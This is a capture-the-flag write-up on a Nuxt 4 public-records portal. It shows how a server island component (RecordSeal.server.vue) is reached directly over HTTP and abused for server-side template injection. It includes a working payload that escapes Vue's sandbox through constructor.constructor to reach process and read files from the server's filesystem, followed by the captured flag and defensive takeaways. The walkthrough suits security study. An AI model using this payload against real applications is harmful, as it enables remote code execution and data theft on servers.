Overview
northline is a small Nuxt 4 public-records portal. The API routes themselves are safe, but the app ships one server component, RecordSeal.server.vue, that renders a status chip.
The server island
A .server.vue file becomes a Nuxt server island, reachable directly over HTTP with attacker-controlled props serialized into the URL:
/__nuxt_island/RecordSeal_<hashId>.json?props=<JSON>
The island id is a hash of the component name, props and context, computed with the ohash package that ships in the app's node_modules. Reading the page source exposed the island hash in the __NEXT_DATA__-style payload, so I could reproduce the exact request.
Proving template injection
Passing a template expression as the chip's tag confirmed server-side evaluation — {{ 7*7 }} rendered as 49:
"html":"49" — the expression ran on the server.{ "tag": { "template": "{{ 7*7 }}" } }
From SSTI to RCE
Vue's render context is a proxy, but a plain object's constructor chain reaches Function(), which escapes the sandbox. From there I pulled in process, read the filesystem, and dumped every /app/flag_*.txt:
{{ (()=>{
const p = $options.constructor.constructor('return process')();
const fs = p.getBuiltinModule('fs');
const d = fs.existsSync('/app') ? '/app' : '.';
return fs.readdirSync(d)
.filter(f => f.startsWith('flag_'))
.map(f => fs.readFileSync(d + '/' + f, 'utf8'))
.join('')
})() }}
My solver computed the island hash with ohash, sent the props, and pulled the flag out of the returned html field.
ihack{aabd5f88d1e4b242ce462a3aec216d0e34ffbfeb024124d29d661a18ded64f14}
Takeaways
Server islands are a real, directly addressable endpoint, not an internal render detail — any prop they accept is attacker input. Rendering a user-supplied string as a component template is template injection, and in a JS runtime the constructor chain (constructor.constructor) is the usual road from a sandboxed expression to Function() and full RCE. Status text should be passed as data, never compiled as a template.